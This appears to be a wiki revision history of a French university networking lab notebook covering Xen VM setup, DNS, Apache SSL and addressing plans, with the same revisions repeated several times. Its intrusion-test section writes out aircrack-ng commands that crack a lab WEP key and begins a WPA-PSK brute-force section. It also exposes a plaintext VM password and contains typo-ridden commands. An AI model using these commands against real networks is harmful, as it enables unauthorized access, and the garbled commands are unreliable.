On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T16:30:11Z

Mbaumgar : /* Configuration Apache 2 */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Configuration Apache 2 ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

La page web par défaut d'Apache2 est visible alors à l'adresse www.tournecochon.site

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T16:18:02Z

Mbaumgar : /* Configuration Apache 2 */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Configuration Apache 2 ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T16:16:49Z

Mbaumgar : /* Configuration Apache 2 */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Configuration Apache 2 ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T16:16:09Z

Mbaumgar : /* Certificat ssl */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Configuration Apache 2 ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T15:52:22Z

Mbaumgar : /* Certificat ssl */

TP sysres IMA5sc 2021/2022

2022-01-01T16:12:40Z

Mbaumgar : /* Répartition des binômes */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]
| Andrei Florea / Julien Delabre
|-
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]
| Robin Lasserye / Aviran Tetia
|-
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]
| Axel Guillaume
|-
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]
| Selim Raphael
|-
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]
| Helene Camille
|-
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]
| Boris JACQUOT / Louis WADBLED
|-
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]
| Johnny Gouvaert / Arthur Vercaemst
|-
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]
| Mel Baumgartner / Theo Van Rompaey
|-
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]
| Khalil Alvare
|-
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]
| Souleyman Enoch
|-
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]
| Clément
|-
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]
|
|-
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]
|
|}

=Plan d'adressage=

{| class="wikitable"
! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM
|-
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg
|-
| Robin / Aviran || 11 || 10.11.0.0/16 || 2001:7A8:116E:60B1::0/64 || 10.11.0.250 || 10.11.0.251 || 10.11.0.252 || 10.11.0.253 || Marguerite || Paixdieu
|-
| Axel / Guillaume || 02 || 10.2.0.0/16 || 2001:7A8:116E:60B2::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel
|-
| Selim / Raphael || 03 || 10.3.0.0/16 || 2001:7A8:116E:60B3::0/64 || 10.03.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet
|-
| Helene / Camille || 04 || 10.4.0.0/16 || 2001:7A8:116E:60B4::0/64 || 10.04.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff
|-
| Boris / Louis || 05 || 10.5.0.0/16 || 2001:7A8:116E:60B5::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose
|-
| Johnny / Arthur || 06 || 10.6.0.0/16 || 2001:7A8:116E:60B6::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke
|-
| Mel / Theo || 07 || 10.7.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon
|-
| Khalil / Alvaro || 08 || 10.8.0.0/16 || 2001:7A8:116E:60B8::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys || godless
|-
| Souleyman / Enoch || 09 || 10.9.0.0/16 || 2001:7A8:116E:60B9::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit || Panache
|-
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60BA::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot || Corona
|-
| INTERCO || 531 || 192.168.222.72/29 || || || 192.168.222.74 || 192.168.222.75 || 192.168.222.76 || ||  
|-
| XEN || 42 || 193.48.57.160/28 || 2001:7A8:116E:60BF::0/64 || 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 || 193.48.57.187/28 2001:7A8:116E:60B0::F0/64|| 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 || 192.48.57.189/28 2001:7A8:116E:60B0::F2/64|| ||  
|-
|}

Table du VLAN 42
{| class="wikitable"
! Groupe !! @IPv4 MV !! @IPv6 MV (auto)
|-
| Andrei / Julien || 193.48.57.176/28 ||  
|-
| Robin / Aviran || 193.48.57.177/28 ||  
|-
| Axel / Guillaume || 193.48.57.178/28 ||  
|-
| Selim / Raphael || 193.48.57.179/28 ||  
|-
| Helene / Camille || 193.48.57.180/28 ||  
|-
| Boris / Louis || 193.48.57.181/28 ||  
|-
| Johnny / Arthur || 193.48.57.182/28 ||  
|-
| Mel / Theo || 193.48.57.183/28 ||  
|-
| Khalil / Alvare || 193.48.57.184/28 ||  
|-
| Souleyman / Enoch || 193.48.57.185/28 ||  
|-
| Clement || 193.48.57.186/28 ||  
|-
|}



* Plan d'adressage IPv4 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-
|
|}

* Plan d'adressage IPv6 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-

|}

= Administration =
Vlan 1 = Vlan d'administration
{| class="wikitable"
! Nom de l'appareil !! IPv4
|-
|router e306 || 10.1.0.1/24
|-
|router e304 || 10.1.0.2/24
|-
|ap e306 || 10.1.0.3/24
|-
|ap e304 || 10.1.0.4/24
|-
|}

=Architecture réseau=

TP sysres IMA5 2021/2022 G8

2021-12-13T17:22:11Z

Mbaumgar : /* Intrusion sur un serveur d'application web */

TP sysres IMA5 2021/2022 G8

2021-12-13T17:13:17Z

Mbaumgar : /* Intrusion sur un serveur d'application web */

TP sysres IMA5 2021/2022 G8

2021-12-13T17:12:53Z

Mbaumgar : /* Intrusion sur un serveur d'application web */

TP sysres IMA5 2021/2022 G8

2021-12-13T17:04:58Z

Mbaumgar : /* Intrusion sur un serveur d'application web */

TP sysres IMA5 2021/2022 G8

2021-12-13T16:57:57Z

Mbaumgar : /* Cassage de mot de passe WPA-PSK par force brute */

TP sysres IMA5 2021/2022 G8

2021-12-13T16:11:57Z

Mbaumgar : /* DNS */

TP sysres IMA5 2021/2022 G8

2021-11-29T18:51:38Z

Mbaumgar : /* Configuration Bind */

TP sysres IMA5 2021/2022 G8

2021-11-29T17:20:27Z

Mbaumgar : /* DNS */

TP sysres IMA5 2021/2022 G8

2021-11-29T17:20:10Z

Mbaumgar :

TP sysres IMA5 2021/2022 G8

2021-11-29T17:17:13Z

Mbaumgar : /* Connexions */

TP sysres IMA5 2021/2022 G8

2021-11-29T16:18:55Z

Mbaumgar :

TP sysres IMA5sc 2021/2022

2021-11-29T16:02:41Z

Mbaumgar : /* Plan d'adressage */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]
| Andrei Florea / Julien Delabre
|-
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]
| Robin Lasserye / Aviran Tetia
|-
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]
| Axel Guillaume
|-
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]
| Selim Raphael
|-
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]
| Helene Camille
|-
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]
| Boris JACQUOT / Louis WADBLED
|-
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]
| Johnny Gouvaert / Arthur Vercaemst
|-
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]
| Mel Theo
|-
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]
| Khalil Alvare
|-
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]
| Souleyman Enoch
|-
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]
| Clément
|-
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]
|
|-
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]
|
|}

=Plan d'adressage=

{| class="wikitable"
! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM
|-
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg
|-
| Robin / Aviran || 01 || 10.01.0.0/16 || 2001:7A8:116E:60B1::0/64 || 10.01.0.250 || 10.01.0.251 || 10.01.0.252 || 10.01.0.253 || Marguerite || Paixdieu
|-
| Axel / Guillaume || 02 || 10.02.0.0/16 || 2001:7A8:116E:60B2::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel
|-
| Selim / Raphael || 03 || 10.03.0.0/16 || 2001:7A8:116E:60B3::0/64 || 10.03.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet
|-
| Helene / Camille || 04 || 10.04.0.0/16 || 2001:7A8:116E:60B4::0/64 || 10.04.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff
|-
| Boris / Louis || 05 || 10.05.0.0/16 || 2001:7A8:116E:60B5::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose
|-
| Johnny / Arthur || 06 || 10.06.0.0/16 || 2001:7A8:116E:60B6::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke
|-
| Mel / Theo || 07 || 10.07.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon
|-
| Khalil / Alvare || 08 || 10.08.0.0/16 || 2001:7A8:116E:60B8::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys ||  
|-
| Souleyman / Enoch || 09 || 10.09.0.0/16 || 2001:7A8:116E:60B9::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit || Panache
|-
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60BA::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot || Corona
|-
| INTERCO || 531 || 192.168.222.72/29 || || || 192.168.222.74 || 192.168.222.75 || 192.168.222.76 || ||  
|-
| XEN || 42 || 193.48.57.160/28 || 2001:7A8:116E:60BF::0/64 || 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 || 193.48.57.187/28 2001:7A8:116E:60B0::F0/64|| 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 || 192.48.57.189/28 2001:7A8:116E:60B0::F2/64|| ||  
|-
|}

Table du VLAN 42
{| class="wikitable"
! Groupe !! @IPv4 MV !! @IPv6 MV (auto)
|-
| Andrei / Julien || 193.48.57.176/28 ||  
|-
| Robin / Aviran || 193.48.57.177/28 ||  
|-
| Axel / Guillaume || 193.48.57.178/28 ||  
|-
| Selim / Raphael || 193.48.57.179/28 ||  
|-
| Helene / Camille || 193.48.57.180/28 ||  
|-
| Boris / Louis || 193.48.57.181/28 ||  
|-
| Johnny / Arthur || 193.48.57.182/28 ||  
|-
| Mel / Theo || 193.48.57.183/28 ||  
|-
| Khalil / Alvare || 193.48.57.184/28 ||  
|-
| Souleyman / Enoch || 193.48.57.185/28 ||  
|-
| Clement || 193.48.57.186/28 ||  
|-
|}



* Plan d'adressage IPv4 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-
|
|}

* Plan d'adressage IPv6 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-

|}

=Architecture réseau=

TP sysres IMA5 2021/2022 G8

2021-10-25T16:53:47Z

Mbaumgar : /* Tests d'intrusion */

TP sysres IMA5 2021/2022 G8

2021-10-25T16:07:09Z

Mbaumgar : /* Cassage de clef WEP d’un point d’accès Wifi */

TP sysres IMA5 2021/2022 G8

2021-10-25T15:25:47Z

Mbaumgar : /* Cassage de clef WEP d’un point d’accès Wifi */

TP sysres IMA5 2021/2022 G8

2021-10-25T15:10:58Z

Mbaumgar : /* Tests d'intrusion */

TP sysres IMA5 2021/2022 G8

2021-10-25T15:06:33Z

Mbaumgar : /* Création de la machine virtuelle */

TP sysres IMA5 2021/2022 G8

2021-10-25T15:05:51Z

Mbaumgar : /* Création de la machine virtuelle */

TP sysres IMA5 2021/2022 G8

2021-10-25T15:04:12Z

Mbaumgar :

TP sysres IMA5 2021/2022 G8

2021-10-25T15:01:23Z

Mbaumgar : /* Création de la machine virtuelle */

TP sysres IMA5 2021/2022 G8

2021-10-25T14:22:04Z

Mbaumgar : /* Création de la machine virtuelle */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

TP sysres IMA5 2021/2022 G8

2021-10-25T14:04:27Z

Mbaumgar :

=Création de la machine virtuelle=

TP sysres IMA5sc 2021/2022

2021-10-25T14:02:36Z

Mbaumgar : /* Plan d'adressage */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]
| Andrei Florea / Julien Delabre
|-
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]
| Robin Lasseyrie / Aviran Tetia
|-
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]
| Axel Guillaume
|-
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]
| Selim Raphael
|-
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]
| Helene Camille
|-
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]
| Boris JACQUOT / Louis WADBLED
|-
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]
